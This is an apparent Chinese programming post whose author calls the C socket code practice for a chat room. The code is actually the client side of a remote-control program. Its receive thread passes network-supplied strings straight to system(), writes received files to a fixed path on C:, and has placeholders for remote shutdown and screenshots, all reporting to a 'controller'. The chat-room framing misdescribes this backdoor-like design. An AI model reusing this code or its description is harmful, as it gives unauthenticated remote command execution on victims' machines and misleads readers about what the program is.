練習寫套接字通信程序時候寫的一段代碼,本來想寫個聊天室但寫來寫去進度卡在界面上接節下來都是通信部分的代碼
因為只是試驗用所以都是用C寫的,等界面部分完工后會用類來封裝一下
因為本人E文很爛所以變量和函數的命名是具有中國特色的,求理解.不過我注釋的很詳細了
謹以此文紀念我那坑爹的編程自學生涯......................
#include "shujubao.h"
#include "stdlib.h"
//定義線程共享全局變量用來協調線程進度
int M=0; //指揮發送線程工作,為1則把fasjgd中的數據發送出去
struct SJGD fasjgd; //數據發送完后把M置0
/////////////////////////////////////////////////////////////////////////////////////////
//接收線程函數
DWORD WINAPI JieXC (LPVOID jie)
{
////////////////////////////////////////
SOCKET callsock=INVALID_SOCKET;
callsock=(SOCKET)jie;
char data[SZBAO]; //接收緩沖區
struct SJGD sjgd; //標準數據包存放管道
sjgd.sjcd=SZBAO;
struct SJB sjb; //封包結構體
HANDLE File; //文本句柄
DWORD szfile;
/////////////////////////////////////////////////
while (1)
{
recv(callsock,data,SZBAO,0); //接收一個標準數據包錯誤數據包丟棄不處理
char_byte(data,&sjgd,1,SZBAO); //對緩沖區進行強制類型轉換不轉換的話解包會出錯
ZeroMemory(data,SZBAO); //清零接收緩沖區
if(Jiebao(&sjgd,&sjb)) //如果是標準數據包的話就進行功能判斷和處理
{
switch(sjb.data.msg_stoc.cmd)
{
case CMD_GUANGJI:
//關機功能
break;
case CMD_CMD:
//命令行功能
system((char*)sjb.data.msg_stoc.shuju);
break;
case CMD_JIEPING:
//截屏功能
break;
//////////////////////////////////////////////////////////////////////////////////////////
case CMD_FTP: //文件傳輸功能
if(sjb.tou.sxid!=1) break;
//以FTP包順序標號為1的包的附加數據為文件名創建文件
//File=CreateFile((char*)sjb.data.msg_stoc.shuju,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
File=CreateFile("c:\\按鍵寶典.chm",GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
//進入文件接收循環
while(sjb.tou.sxid!=0)
{
recv(callsock,data,SZBAO,0); //接收一個標準數據包錯誤數據包丟棄不處理
char_byte(data,&sjgd,1,SZBAO); //對緩沖區進行強制類型轉換不轉換的話解包會出錯
if(Jiebao(&sjgd,&sjb))
{
WriteFile(File,(char*)sjb.data.msg_stoc.shuju,sjb.data.msg_stoc.sjbcd,&szfile,NULL);
}
}
CloseHandle(File);
////////////////////////////////////////////////////////////////
char sz[]="文件已經接收成功!";
MoveMemory(fasjgd.sjgd,sz,sizeof(sz));
fasjgd.sjcd=sizeof(sz);
Fengbao(1,CMD_QQ,1,&fasjgd,&sjb); //給控制端發一個文件接收成功消息數據包
Fabao(&sjb,&fasjgd);
M=1;
/////////////////////////////////////////////////////////////////
break;
//////////////////////////////////////////////////////////////////////////////////////////////
}
}
}
/////////////////////////////////////////////////
return 0;
}
//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////
//發送線程函數
//工作流程是功能函數把各種數據包風包好后發送到fasjgd并把M置1,發送線程開始發包成功后把M置0
DWORD WINAPI FaXC (LPVOID fa)
{
SOCKET callsock=INVALID_SOCKET;
callsock=(SOCKET)fa;
while(1)
{
if(M==1)
{
send(callsock,(char*)fasjgd.sjgd,fasjgd.sjcd,0);
M=0;
}
}
return 0;
}
///////////////////////////////////////////////////////////////////////////////////////////